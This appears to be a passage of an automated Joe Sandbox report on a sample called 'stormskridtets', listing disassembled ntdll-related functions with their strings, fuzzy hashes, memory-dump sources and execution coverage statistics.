                                    • Opcode Fuzzy Hash: 9e6ced28e0f8f2f98edb1b34f0597caf7d2661cd677607fcb4167ab4b6e54900
                                    • Instruction Fuzzy Hash: 8551D3B17107019FE714DF24C884BAAB7A5BB85324F140A6DE495A7390DF35F825DB83
                                    Function 3742DB00 Relevance: 10.6, APIs: 1, Strings: 5, Instructions: 133timeCOMMON
                                    Download Yara Rule
                                    APIs
                                    Strings
                                    Memory Dump Source
                                    • Source File: 00000006.00000002.2552955968.00000000373D0000.00000040.00001000.00020000.00000000.sdmp, Offset: 373D0000, based on PE: true
                                    • Associated: 00000006.00000002.2552955968.00000000374F9000.00000040.00001000.00020000.00000000.sdmpDownload File
                                    • Associated: 00000006.00000002.2552955968.00000000374FD000.00000040.00001000.00020000.00000000.sdmpDownload File
                                    • Associated: 00000006.00000002.2552955968.000000003756E000.00000040.00001000.00020000.00000000.sdmpDownload File
                                    Joe Sandbox IDA Plugin
                                    • Snapshot File: hcaresult_6_2_373d0000_stormskridtets.jbxd
                                    Similarity
                                    • API ID: DebugPrintTimes
                                    • String ID: , passed to %s$HEAP: $HEAP[%wZ]: $Invalid heap signature for heap at %p$RtlUnlockHeap
                                    • API String ID: 3446177414-3224558752
                                    • Opcode ID: 56c1b64bb9a945dd8c8ef3bc8d5113dd2fada39c5c1ee2767574af6d677da497
                                    • Instruction ID: 0dbef681ce807f3a3b52bb7551a8eb643c68d8b64afb2853c9b16449631da347
                                    • Opcode Fuzzy Hash: 56c1b64bb9a945dd8c8ef3bc8d5113dd2fada39c5c1ee2767574af6d677da497
                                    • Instruction Fuzzy Hash: 7E4105B5600744EFE701CF24C499BEABBA4EF45378F1085A9E44597791CB38B892CF92
                                    Function 374AF157 Relevance: 10.6, APIs: 2, Strings: 4, Instructions: 128timeCOMMON
                                    Download Yara Rule
                                    APIs
                                    Strings
                                    • ---------------------------------------, xrefs: 374AF279
                                    • Entry Heap Size , xrefs: 374AF26D
                                    • HEAP: , xrefs: 374AF15D
                                    • Below is a list of potentially leaked heap entries use !heap -i Entry -h Heap for more information, xrefs: 374AF263
                                    Memory Dump Source
                                    • Source File: 00000006.00000002.2552955968.00000000373D0000.00000040.00001000.00020000.00000000.sdmp, Offset: 373D0000, based on PE: true
                                    • Associated: 00000006.00000002.2552955968.00000000374F9000.00000040.00001000.00020000.00000000.sdmpDownload File
                                    • Associated: 00000006.00000002.2552955968.00000000374FD000.00000040.00001000.00020000.00000000.sdmpDownload File
                                    • Associated: 00000006.00000002.2552955968.000000003756E000.00000040.00001000.00020000.00000000.sdmpDownload File
                                    Joe Sandbox IDA Plugin
                                    • Snapshot File: hcaresult_6_2_373d0000_stormskridtets.jbxd
                                    Similarity
                                    • API ID: DebugPrintTimes
                                    • String ID: ---------------------------------------$Below is a list of potentially leaked heap entries use !heap -i Entry -h Heap for more information$Entry Heap Size $HEAP:
                                    • API String ID: 3446177414-1102453626
                                    • Opcode ID: 7017d703238afee1921d785ada10c3e3cb470fca5f7ef0fd2aca50d8c216647b
                                    • Instruction ID: bc3d9b357f6bf38818b462759f9a74918e2a142d2c4f596dad223e4084648b5a
                                    • Opcode Fuzzy Hash: 7017d703238afee1921d785ada10c3e3cb470fca5f7ef0fd2aca50d8c216647b
                                    • Instruction Fuzzy Hash: 15419D7AA00215DFD744CF58D480A9ABBF5EF993A4B25806AD418AB311DB36FD52CF80
                                    Function 3742DBA0 Relevance: 10.6, APIs: 1, Strings: 5, Instructions: 84timeCOMMON
                                    Download Yara Rule
                                    APIs
                                    Strings
                                    Memory Dump Source
                                    • Source File: 00000006.00000002.2552955968.00000000373D0000.00000040.00001000.00020000.00000000.sdmp, Offset: 373D0000, based on PE: true
                                    • Associated: 00000006.00000002.2552955968.00000000374F9000.00000040.00001000.00020000.00000000.sdmpDownload File
                                    • Associated: 00000006.00000002.2552955968.00000000374FD000.00000040.00001000.00020000.00000000.sdmpDownload File
                                    • Associated: 00000006.00000002.2552955968.000000003756E000.00000040.00001000.00020000.00000000.sdmpDownload File
                                    Joe Sandbox IDA Plugin
                                    • Snapshot File: hcaresult_6_2_373d0000_stormskridtets.jbxd
                                    Similarity
                                    • API ID: DebugPrintTimes
                                    • String ID: , passed to %s$HEAP: $HEAP[%wZ]: $Invalid heap signature for heap at %p$RtlLockHeap
                                    • API String ID: 3446177414-1222099010
                                    • Opcode ID: 7b27c4f2c9335a3f5f9b59ad0cd06d2450fed35ef7932e649427138125b40cc4
                                    • Instruction ID: c4f0df637fb8c49988dca04fdb5fae4d053c17d97ba0a5f9fead4c5f8716794c
                                    • Opcode Fuzzy Hash: 7b27c4f2c9335a3f5f9b59ad0cd06d2450fed35ef7932e649427138125b40cc4
                                    • Instruction Fuzzy Hash: 4C31D179104784EFE712CB28C459BE677E4EF01765F004499F489977A1CBB9B881CF52
                                    Function 3744B5EC Relevance: 9.0, APIs: 1, Strings: 4, Instructions: 238COMMON
                                    Download Yara Rule
                                    APIs
                                    Strings
                                    Memory Dump Source
                                    • Source File: 00000006.00000002.2552955968.00000000373D0000.00000040.00001000.00020000.00000000.sdmp, Offset: 373D0000, based on PE: true
                                    • Associated: 00000006.00000002.2552955968.00000000374F9000.00000040.00001000.00020000.00000000.sdmpDownload File
                                    • Associated: 00000006.00000002.2552955968.00000000374FD000.00000040.00001000.00020000.00000000.sdmpDownload File
                                    • Associated: 00000006.00000002.2552955968.000000003756E000.00000040.00001000.00020000.00000000.sdmpDownload File
                                    Joe Sandbox IDA Plugin
                                    • Snapshot File: hcaresult_6_2_373d0000_stormskridtets.jbxd
                                    Similarity
                                    • API ID: __aulldvrm
                                    • String ID: +$-$0$0
                                    • API String ID: 1302938615-699404926
                                    • Opcode ID: 53abcd45f1248799eb7edd6da4205106d70e70754ef1e870ff48280e40c18d32
                                    • Instruction ID: fe6e0aff9821a8f960c171440ded904c21d0f382efcc163f268247db841a7aae
                                    • Opcode Fuzzy Hash: 53abcd45f1248799eb7edd6da4205106d70e70754ef1e870ff48280e40c18d32
                                    • Instruction Fuzzy Hash: D681AF78E052499EFB048F68C8917EEBBA2BF45360F54855ED850A7391CB34B841EF52
                                    Function 37409126 Relevance: 8.9, APIs: 3, Strings: 2, Instructions: 199timeCOMMON
                                    Download Yara Rule
                                    APIs
                                    Strings
                                    Memory Dump Source
                                    • Source File: 00000006.00000002.2552955968.00000000373D0000.00000040.00001000.00020000.00000000.sdmp, Offset: 373D0000, based on PE: true
                                    • Associated: 00000006.00000002.2552955968.00000000374F9000.00000040.00001000.00020000.00000000.sdmpDownload File
                                    • Associated: 00000006.00000002.2552955968.00000000374FD000.00000040.00001000.00020000.00000000.sdmpDownload File
                                    • Associated: 00000006.00000002.2552955968.000000003756E000.00000040.00001000.00020000.00000000.sdmpDownload File
                                    Joe Sandbox IDA Plugin
                                    • Snapshot File: hcaresult_6_2_373d0000_stormskridtets.jbxd
                                    Similarity
                                    • API ID: DebugPrintTimes
                                    • String ID: $$@
                                    • API String ID: 3446177414-1194432280
                                    • Opcode ID: 524be73f3a941a77a8baa7e08a3eefbbfa1806b5d034d99da0edc062b86c8b5c
                                    • Instruction ID: fc2e464a24fd54df79153510fa430c2850860c45f3a3d8f054928d3aeec86a56
                                    • Opcode Fuzzy Hash: 524be73f3a941a77a8baa7e08a3eefbbfa1806b5d034d99da0edc062b86c8b5c
                                    • Instruction Fuzzy Hash: B1812A75D012699BDB21CB54CC44BEAB7B8AB48754F0141EAE909B7280E734AE85CFA1
                                    Function 37434D1D Relevance: 8.9, APIs: 1, Strings: 4, Instructions: 117timeCOMMON
                                    Download Yara Rule
                                    APIs
                                    Strings
                                    • Probing for the manifest of DLL "%wZ" failed with status 0x%08lx, xrefs: 3747362F
                                    • minkernel\ntdll\ldrsnap.c, xrefs: 37473640, 3747366C
                                    • LdrpFindDllActivationContext, xrefs: 37473636, 37473662
                                    • Querying the active activation context failed with status 0x%08lx, xrefs: 3747365C
                                    Memory Dump Source
                                    • Source File: 00000006.00000002.2552955968.00000000373D0000.00000040.00001000.00020000.00000000.sdmp, Offset: 373D0000, based on PE: true
                                    • Associated: 00000006.00000002.2552955968.00000000374F9000.00000040.00001000.00020000.00000000.sdmpDownload File
                                    • Associated: 00000006.00000002.2552955968.00000000374FD000.00000040.00001000.00020000.00000000.sdmpDownload File
                                    • Associated: 00000006.00000002.2552955968.000000003756E000.00000040.00001000.00020000.00000000.sdmpDownload File
                                    Joe Sandbox IDA Plugin
                                    • Snapshot File: hcaresult_6_2_373d0000_stormskridtets.jbxd
                                    Similarity
                                    • API ID: DebugPrintTimes
                                    • String ID: LdrpFindDllActivationContext$Probing for the manifest of DLL "%wZ" failed with status 0x%08lx$Querying the active activation context failed with status 0x%08lx$minkernel\ntdll\ldrsnap.c
                                    • API String ID: 3446177414-3779518884
                                    • Opcode ID: 00a265557145283ebec280f7868bb9f8ec544306a4195bc2d54fb62e73d0889a
                                    • Instruction ID: 6b1375acb6507adf8f4237eb9ad83b60eb81d284a138af5aa423b8022dc8f1a3
                                    • Opcode Fuzzy Hash: 00a265557145283ebec280f7868bb9f8ec544306a4195bc2d54fb62e73d0889a
                                    • Instruction Fuzzy Hash: A0312B769023519AFB51DE0CE844BF577A4EB0D7B0F424166E43C67360EB60FCA0CA82
                                    Function 373FF910 Relevance: 7.3, APIs: 1, Strings: 3, Instructions: 263timeCOMMON
                                    Download Yara Rule
                                    APIs
                                    Strings
                                    Memory Dump Source
                                    • Source File: 00000006.00000002.2552955968.00000000373D0000.00000040.00001000.00020000.00000000.sdmp, Offset: 373D0000, based on PE: true
                                    • Associated: 00000006.00000002.2552955968.00000000374F9000.00000040.00001000.00020000.00000000.sdmpDownload File
                                    • Associated: 00000006.00000002.2552955968.00000000374FD000.00000040.00001000.00020000.00000000.sdmpDownload File
                                    • Associated: 00000006.00000002.2552955968.000000003756E000.00000040.00001000.00020000.00000000.sdmpDownload File
                                    Joe Sandbox IDA Plugin
                                    • Snapshot File: hcaresult_6_2_373d0000_stormskridtets.jbxd
                                    Similarity
                                    • API ID: DebugPrintTimes
                                    • String ID: (HeapHandle != NULL)$HEAP: $HEAP[%wZ]:
                                    • API String ID: 3446177414-3610490719
                                    • Opcode ID: 868b9c6e4f0d9e2b8fd2a3dff506feb830b2bf819f7fe37cae85569cccdf36e8
                                    • Instruction ID: be351da0c7a6997c1e19b3a772c9eb352a93ed9e42e5799fc9bcba0ce2614a82
                                    • Opcode Fuzzy Hash: 868b9c6e4f0d9e2b8fd2a3dff506feb830b2bf819f7fe37cae85569cccdf36e8
                                    • Instruction Fuzzy Hash: 719113B5305752DFE715DF24C880BAAB7A9BF847A0F000469EC489B380DB39F841CB96
                                    Function 37420BCB Relevance: 7.2, APIs: 1, Strings: 3, Instructions: 210timeCOMMON
                                    Download Yara Rule
                                    APIs
                                    Strings
                                    • minkernel\ntdll\ldrinit.c, xrefs: 3746A121
                                    • LdrpCheckModule, xrefs: 3746A117
                                    • Failed to allocated memory for shimmed module list, xrefs: 3746A10F
                                    Memory Dump Source
                                    • Source File: 00000006.00000002.2552955968.00000000373D0000.00000040.00001000.00020000.00000000.sdmp, Offset: 373D0000, based on PE: true
                                    • Associated: 00000006.00000002.2552955968.00000000374F9000.00000040.00001000.00020000.00000000.sdmpDownload File
                                    • Associated: 00000006.00000002.2552955968.00000000374FD000.00000040.00001000.00020000.00000000.sdmpDownload File
                                    • Associated: 00000006.00000002.2552955968.000000003756E000.00000040.00001000.00020000.00000000.sdmpDownload File
                                    Joe Sandbox IDA Plugin
                                    • Snapshot File: hcaresult_6_2_373d0000_stormskridtets.jbxd
                                    Similarity
                                    • API ID: DebugPrintTimes
                                    • String ID: Failed to allocated memory for shimmed module list$LdrpCheckModule$minkernel\ntdll\ldrinit.c
                                    • API String ID: 3446177414-161242083
                                    • Opcode ID: 45ebfdd3ca492cb5cad5c31612e4c2ad962131ca5a57dd33fe9283cf13eb18a3
                                    • Instruction ID: 493b4938e4fa5eedca92977af562609f1e7048937a142d2f8a28a84b0670afd9
                                    • Opcode Fuzzy Hash: 45ebfdd3ca492cb5cad5c31612e4c2ad962131ca5a57dd33fe9283cf13eb18a3
                                    • Instruction Fuzzy Hash: 6D71EEB5A00609DFEB08DF68C981BEEB7F4EB88314F14446DD801AB320E738B952DB51
                                    Function 3743BED0 Relevance: 7.1, APIs: 1, Strings: 3, Instructions: 129COMMON
                                    Download Yara Rule
                                    Strings
                                    • RTL: Resource at %p, xrefs: 37477B8E
                                    • RTL: Acquire Exclusive Sem Timeout %d (%I64u secs), xrefs: 37477B7F
                                    • RTL: Re-Waiting, xrefs: 37477BAC
                                    Memory Dump Source
                                    • Source File: 00000006.00000002.2552955968.00000000373D0000.00000040.00001000.00020000.00000000.sdmp, Offset: 373D0000, based on PE: true
                                    • Associated: 00000006.00000002.2552955968.00000000374F9000.00000040.00001000.00020000.00000000.sdmpDownload File
                                    • Associated: 00000006.00000002.2552955968.00000000374FD000.00000040.00001000.00020000.00000000.sdmpDownload File
                                    • Associated: 00000006.00000002.2552955968.000000003756E000.00000040.00001000.00020000.00000000.sdmpDownload File
                                    Joe Sandbox IDA Plugin
                                    • Snapshot File: hcaresult_6_2_373d0000_stormskridtets.jbxd
                                    Similarity
                                    • API ID:
                                    • String ID: RTL: Acquire Exclusive Sem Timeout %d (%I64u secs)$RTL: Re-Waiting$RTL: Resource at %p
                                    • API String ID: 0-871070163
                                    • Opcode ID: d11340cf773e037578eff47b169a88708a1557fed07bee0863bf1c495ca681a2
                                    • Instruction ID: b7912d1f24143ea0128af821b1c50fa85ba47e129c2353ad37b8942b6650976d
                                    • Opcode Fuzzy Hash: d11340cf773e037578eff47b169a88708a1557fed07bee0863bf1c495ca681a2
                                    • Instruction Fuzzy Hash: 5B41BB357027469BE711CE25C940BAAB7E5EF88724F000A2DE959DB780DB31F815CF92
                                    Function 3743B4C0 Relevance: 7.1, APIs: 1, Strings: 3, Instructions: 121COMMON
                                    Download Yara Rule
                                    APIs
                                    • __ehfuncinfo$??2@YAPAXIABUnothrow_t@std@@@Z.LIBCMT ref: 3747728C
                                    Strings
                                    • RTL: Resource at %p, xrefs: 374772A3
                                    • RTL: Acquire Shared Sem Timeout %d(%I64u secs), xrefs: 37477294
                                    • RTL: Re-Waiting, xrefs: 374772C1
                                    Memory Dump Source
                                    • Source File: 00000006.00000002.2552955968.00000000373D0000.00000040.00001000.00020000.00000000.sdmp, Offset: 373D0000, based on PE: true
                                    • Associated: 00000006.00000002.2552955968.00000000374F9000.00000040.00001000.00020000.00000000.sdmpDownload File
                                    • Associated: 00000006.00000002.2552955968.00000000374FD000.00000040.00001000.00020000.00000000.sdmpDownload File
                                    • Associated: 00000006.00000002.2552955968.000000003756E000.00000040.00001000.00020000.00000000.sdmpDownload File
                                    Joe Sandbox IDA Plugin
                                    • Snapshot File: hcaresult_6_2_373d0000_stormskridtets.jbxd
                                    Similarity
                                    • API ID: Unothrow_t@std@@@__ehfuncinfo$??2@
                                    • String ID: RTL: Acquire Shared Sem Timeout %d(%I64u secs)$RTL: Re-Waiting$RTL: Resource at %p
                                    • API String ID: 885266447-605551621
                                    • Opcode ID: a6114f0a0487b6b8af1bf359d58c0739347133d6f64c593a6544cc44533da7a1
                                    • Instruction ID: f1f0c57fa3b4c26d317a28d90796e8cb335ebf2c816e9ad09a95a65497afffeb
                                    • Opcode Fuzzy Hash: a6114f0a0487b6b8af1bf359d58c0739347133d6f64c593a6544cc44533da7a1
                                    • Instruction Fuzzy Hash: BF41D135701246ABE711CE24CD40BD6B7A5EF98724F500A1DF968AB740DB31F816CBD2
                                    Function 37485F10 Relevance: 7.1, APIs: 3, Strings: 1, Instructions: 80timeCOMMON
                                    Download Yara Rule
                                    APIs
                                    Strings
                                    Memory Dump Source
                                    • Source File: 00000006.00000002.2552955968.00000000373D0000.00000040.00001000.00020000.00000000.sdmp, Offset: 373D0000, based on PE: true
                                    • Associated: 00000006.00000002.2552955968.00000000374F9000.00000040.00001000.00020000.00000000.sdmpDownload File
                                    • Associated: 00000006.00000002.2552955968.00000000374FD000.00000040.00001000.00020000.00000000.sdmpDownload File
                                    • Associated: 00000006.00000002.2552955968.000000003756E000.00000040.00001000.00020000.00000000.sdmpDownload File
                                    Joe Sandbox IDA Plugin
                                    • Snapshot File: hcaresult_6_2_373d0000_stormskridtets.jbxd
                                    Similarity
                                    • API ID: DebugPrintTimes
                                    • String ID: Wow64 Emulation Layer
                                    • API String ID: 3446177414-921169906
                                    • Opcode ID: bd5f397829cf69e57058a7410228c27de2d0771a82142bfacab8d83922bc3882
                                    • Instruction ID: ad604c53beec7837b1fe2e4cf716b11e812f566aad0d7cbef51b4b63c6ce246f
                                    • Opcode Fuzzy Hash: bd5f397829cf69e57058a7410228c27de2d0771a82142bfacab8d83922bc3882
                                    • Instruction Fuzzy Hash: 3D212E76A0012DBFAB01ABA08D84CFFBB7DEF442D8B054064FA05A2140D735FE15DB61
                                    Function 3742EF28 Relevance: 6.3, APIs: 4, Instructions: 347COMMON
                                    Download Yara Rule
                                    Memory Dump Source
                                    • Source File: 00000006.00000002.2552955968.00000000373D0000.00000040.00001000.00020000.00000000.sdmp, Offset: 373D0000, based on PE: true
                                    • Associated: 00000006.00000002.2552955968.00000000374F9000.00000040.00001000.00020000.00000000.sdmpDownload File
                                    • Associated: 00000006.00000002.2552955968.00000000374FD000.00000040.00001000.00020000.00000000.sdmpDownload File
                                    • Associated: 00000006.00000002.2552955968.000000003756E000.00000040.00001000.00020000.00000000.sdmpDownload File
                                    Joe Sandbox IDA Plugin
                                    • Snapshot File: hcaresult_6_2_373d0000_stormskridtets.jbxd
                                    Similarity
                                    • API ID:
                                    • String ID:
                                    • API String ID:
                                    • Opcode ID: 243230a8f2cf02776f2b509877fda6b92a663ec51ecf7fba383c9735cac52f2f
                                    • Instruction ID: 37f2711fd9cad4d017e4f3a1c9a56fc1c268a2169421e148159e90173c691cf9
                                    • Opcode Fuzzy Hash: 243230a8f2cf02776f2b509877fda6b92a663ec51ecf7fba383c9735cac52f2f
                                    • Instruction Fuzzy Hash: D9E1DB74E00708DFDB25CFA9C980ADDBBF1BF48324FA0496AE455A7260DB75A851DF10
                                    Function 3747EF50 Relevance: 6.2, APIs: 4, Instructions: 187timeCOMMON
                                    Download Yara Rule
                                    APIs
                                    Memory Dump Source
                                    • Source File: 00000006.00000002.2552955968.00000000373D0000.00000040.00001000.00020000.00000000.sdmp, Offset: 373D0000, based on PE: true
                                    • Associated: 00000006.00000002.2552955968.00000000374F9000.00000040.00001000.00020000.00000000.sdmpDownload File
                                    • Associated: 00000006.00000002.2552955968.00000000374FD000.00000040.00001000.00020000.00000000.sdmpDownload File
                                    • Associated: 00000006.00000002.2552955968.000000003756E000.00000040.00001000.00020000.00000000.sdmpDownload File
                                    Joe Sandbox IDA Plugin
                                    • Snapshot File: hcaresult_6_2_373d0000_stormskridtets.jbxd
                                    Similarity
                                    • API ID: DebugPrintTimes
                                    • String ID:
                                    • API String ID: 3446177414-0
                                    • Opcode ID: 035d105093113e6fd09b318589a6254ec51e6f1da5bcd1e17d62552858cf5aae
                                    • Instruction ID: 430b9310c4590775bafb86e975598c7f57130b8a863f3bdb81b8c123a6934e24
                                    • Opcode Fuzzy Hash: 035d105093113e6fd09b318589a6254ec51e6f1da5bcd1e17d62552858cf5aae
                                    • Instruction Fuzzy Hash: 63710271E00359EFDB01CFA4C980ADDBBB5FF48354F54802AE925AB250D734B906CBA1
                                    Function 374DA4CA Relevance: 6.2, APIs: 4, Instructions: 170timeCOMMON
                                    Download Yara Rule
                                    APIs
                                    Memory Dump Source
                                    • Source File: 00000006.00000002.2552955968.00000000373D0000.00000040.00001000.00020000.00000000.sdmp, Offset: 373D0000, based on PE: true
                                    • Associated: 00000006.00000002.2552955968.00000000374F9000.00000040.00001000.00020000.00000000.sdmpDownload File
                                    • Associated: 00000006.00000002.2552955968.00000000374FD000.00000040.00001000.00020000.00000000.sdmpDownload File
                                    • Associated: 00000006.00000002.2552955968.000000003756E000.00000040.00001000.00020000.00000000.sdmpDownload File
                                    Joe Sandbox IDA Plugin
                                    • Snapshot File: hcaresult_6_2_373d0000_stormskridtets.jbxd
                                    Similarity
                                    • API ID: DebugPrintTimes
                                    • String ID:
                                    • API String ID: 3446177414-0
                                    • Opcode ID: 4146ca93948579063c382653bbc140d1219fcca155fb17077a82baefdafc5ef8
                                    • Instruction ID: 4193fe73b5f33b275e646687bb6807d08a4e0dc6d9f29a96570777eb588fcd64
                                    • Opcode Fuzzy Hash: 4146ca93948579063c382653bbc140d1219fcca155fb17077a82baefdafc5ef8
                                    • Instruction Fuzzy Hash: 46517878700A129FEB08CE5CC4F4AA9B3E1BB88364B154469D986CB712CB74FC52CB80
                                    Function 3747F1D6 Relevance: 6.2, APIs: 4, Instructions: 150timeCOMMON
                                    Download Yara Rule
                                    APIs
                                    Memory Dump Source
                                    • Source File: 00000006.00000002.2552955968.00000000373D0000.00000040.00001000.00020000.00000000.sdmp, Offset: 373D0000, based on PE: true
                                    • Associated: 00000006.00000002.2552955968.00000000374F9000.00000040.00001000.00020000.00000000.sdmpDownload File
                                    • Associated: 00000006.00000002.2552955968.00000000374FD000.00000040.00001000.00020000.00000000.sdmpDownload File
                                    • Associated: 00000006.00000002.2552955968.000000003756E000.00000040.00001000.00020000.00000000.sdmpDownload File
                                    Joe Sandbox IDA Plugin
                                    • Snapshot File: hcaresult_6_2_373d0000_stormskridtets.jbxd
                                    Similarity
                                    • API ID: DebugPrintTimes
                                    • String ID:
                                    • API String ID: 3446177414-0
                                    • Opcode ID: 154bd71d6618ce88679cf902d190fe7dc6d56b5457d49ee0378374b32ef08a69
                                    • Instruction ID: 0e795856234cb1cbfa91a0199c3b389d51cbfaa977e4bed93d7aa3029de72f35
                                    • Opcode Fuzzy Hash: 154bd71d6618ce88679cf902d190fe7dc6d56b5457d49ee0378374b32ef08a69
                                    • Instruction Fuzzy Hash: 255110B5E00359DFEB04CF94D945ADDBBB1BF48364F15802AE825BB250D738A902CF60
                                    Function 37437B2F Relevance: 6.1, APIs: 4, Instructions: 81timethreadCOMMON
                                    Download Yara Rule
                                    APIs
                                    Memory Dump Source
                                    • Source File: 00000006.00000002.2552955968.00000000373D0000.00000040.00001000.00020000.00000000.sdmp, Offset: 373D0000, based on PE: true
                                    • Associated: 00000006.00000002.2552955968.00000000374F9000.00000040.00001000.00020000.00000000.sdmpDownload File
                                    • Associated: 00000006.00000002.2552955968.00000000374FD000.00000040.00001000.00020000.00000000.sdmpDownload File
                                    • Associated: 00000006.00000002.2552955968.000000003756E000.00000040.00001000.00020000.00000000.sdmpDownload File
                                    Joe Sandbox IDA Plugin
                                    • Snapshot File: hcaresult_6_2_373d0000_stormskridtets.jbxd
                                    Similarity
                                    • API ID: DebugPrintTimes$BaseInitThreadThunk
                                    • String ID:
                                    • API String ID: 4281723722-0
                                    • Opcode ID: ca62c39f7d42641d6183efd40f2f9d52640ec8bcf5f954303d0e780d38929d59
                                    • Instruction ID: 95f64abf4faae57aa609cb554ee367f6a30c7a2d02b1cbd0acbc12b5e7b721d1
                                    • Opcode Fuzzy Hash: ca62c39f7d42641d6183efd40f2f9d52640ec8bcf5f954303d0e780d38929d59
                                    • Instruction Fuzzy Hash: 3D312476E406189FDF11DFA8E845AEDBBF0BF48320F10412AE421B7290DB39A901CF55
                                    Function 374059C0 Relevance: 5.7, APIs: 2, Strings: 1, Instructions: 494COMMON
                                    Download Yara Rule
                                    Strings
                                    Memory Dump Source
                                    • Source File: 00000006.00000002.2552955968.00000000373D0000.00000040.00001000.00020000.00000000.sdmp, Offset: 373D0000, based on PE: true
                                    • Associated: 00000006.00000002.2552955968.00000000374F9000.00000040.00001000.00020000.00000000.sdmpDownload File
                                    • Associated: 00000006.00000002.2552955968.00000000374FD000.00000040.00001000.00020000.00000000.sdmpDownload File
                                    • Associated: 00000006.00000002.2552955968.000000003756E000.00000040.00001000.00020000.00000000.sdmpDownload File
                                    Joe Sandbox IDA Plugin
                                    • Snapshot File: hcaresult_6_2_373d0000_stormskridtets.jbxd
                                    Similarity
                                    • API ID:
                                    • String ID: @
                                    • API String ID: 0-2766056989
                                    • Opcode ID: 93a4e9bbb899897b028a0f60498bf49f8bd89a180fd7295c72ae9df5aedc7c8d
                                    • Instruction ID: 1c1760b04cf0189e94e9c93da021f695df27170c9addfb7ae09b81885793390d
                                    • Opcode Fuzzy Hash: 93a4e9bbb899897b028a0f60498bf49f8bd89a180fd7295c72ae9df5aedc7c8d
                                    • Instruction Fuzzy Hash: 7D3248B4D04369DFEB21CF64C844BE9FBB0BB49314F0084E9D549A7241DB78AA85DF92
                                    Function 37447D61 Relevance: 5.5, APIs: 1, Strings: 2, Instructions: 284COMMON
                                    Download Yara Rule
                                    APIs
                                    Strings
                                    Memory Dump Source
                                    • Source File: 00000006.00000002.2552955968.00000000373D0000.00000040.00001000.00020000.00000000.sdmp, Offset: 373D0000, based on PE: true
                                    • Associated: 00000006.00000002.2552955968.00000000374F9000.00000040.00001000.00020000.00000000.sdmpDownload File
                                    • Associated: 00000006.00000002.2552955968.00000000374FD000.00000040.00001000.00020000.00000000.sdmpDownload File
                                    • Associated: 00000006.00000002.2552955968.000000003756E000.00000040.00001000.00020000.00000000.sdmpDownload File
                                    Joe Sandbox IDA Plugin
                                    • Snapshot File: hcaresult_6_2_373d0000_stormskridtets.jbxd
                                    Similarity
                                    • API ID: __aulldvrm
                                    • String ID: +$-
                                    • API String ID: 1302938615-2137968064
                                    • Opcode ID: 0e72ee8b5e9315034f2b46ff5b251d52fedc42f24a18d50ff17db184198f4ea1
                                    • Instruction ID: e2af13f8e5233bc6d315eb3e9f20df6c423520a04a08b32a34ef3c402a5d0629
                                    • Opcode Fuzzy Hash: 0e72ee8b5e9315034f2b46ff5b251d52fedc42f24a18d50ff17db184198f4ea1
                                    • Instruction Fuzzy Hash: A391A2B4E002169AFB11CF69CA816EEB7E5FF84371F60461EE854A73C0DB34B942A711
                                    Function 37434C59 Relevance: 5.4, APIs: 1, Strings: 2, Instructions: 164COMMON
                                    Download Yara Rule
                                    Strings
                                    Memory Dump Source
                                    • Source File: 00000006.00000002.2552955968.00000000373D0000.00000040.00001000.00020000.00000000.sdmp, Offset: 373D0000, based on PE: true
                                    • Associated: 00000006.00000002.2552955968.00000000374F9000.00000040.00001000.00020000.00000000.sdmpDownload File
                                    • Associated: 00000006.00000002.2552955968.00000000374FD000.00000040.00001000.00020000.00000000.sdmpDownload File
                                    • Associated: 00000006.00000002.2552955968.000000003756E000.00000040.00001000.00020000.00000000.sdmpDownload File
                                    Joe Sandbox IDA Plugin
                                    • Snapshot File: hcaresult_6_2_373d0000_stormskridtets.jbxd
                                    Similarity
                                    • API ID:
                                    • String ID: 0$Flst
                                    • API String ID: 0-758220159
                                    • Opcode ID: 74841375298461fe10af60c8887ad8b840506e3c05edc742d15e41cb2ca89137
                                    • Instruction ID: b0f29348b5e345e196aa1b1838530b436644fb4103350f29db951a928c4f40ed
                                    • Opcode Fuzzy Hash: 74841375298461fe10af60c8887ad8b840506e3c05edc742d15e41cb2ca89137
                                    • Instruction Fuzzy Hash: F851AEB5E012488FEB14CF98E4846E9FBF4EF483A4F55806ED0299B250EB70F945CB80
                                    Function 373FDF81 Relevance: 5.4, APIs: 1, Strings: 2, Instructions: 109timeCOMMON
                                    Download Yara Rule
                                    APIs
                                    Strings
                                    Memory Dump Source
                                    • Source File: 00000006.00000002.2552955968.00000000373D0000.00000040.00001000.00020000.00000000.sdmp, Offset: 373D0000, based on PE: true
                                    • Associated: 00000006.00000002.2552955968.00000000374F9000.00000040.00001000.00020000.00000000.sdmpDownload File
                                    • Associated: 00000006.00000002.2552955968.00000000374FD000.00000040.00001000.00020000.00000000.sdmpDownload File
                                    • Associated: 00000006.00000002.2552955968.000000003756E000.00000040.00001000.00020000.00000000.sdmpDownload File
                                    Joe Sandbox IDA Plugin
                                    • Snapshot File: hcaresult_6_2_373d0000_stormskridtets.jbxd
                                    Similarity
                                    • API ID: DebugPrintTimes
                                    • String ID: 0$0
                                    • API String ID: 3446177414-203156872
                                    • Opcode ID: 7ebb0804bc05b1d80574efcdb623558d2279e6dda9f8cd27a26a839f99c1b499
                                    • Instruction ID: b22dca10cd9591d56f2defa3712fc0b046496820e2d9303f20368ed409890ae6
                                    • Opcode Fuzzy Hash: 7ebb0804bc05b1d80574efcdb623558d2279e6dda9f8cd27a26a839f99c1b499
                                    • Instruction Fuzzy Hash: 79417CB16497069FD300CF28C494A56BBE4BF89354F04492EF488EB340D776E905CF96

                                    Execution Graph

                                    Execution Coverage:1.1%
                                    Dynamic/Decrypted Code Coverage:4%
                                    Signature Coverage:0%
                                    Total number of Nodes:174
                                    Total number of Limit Nodes:24
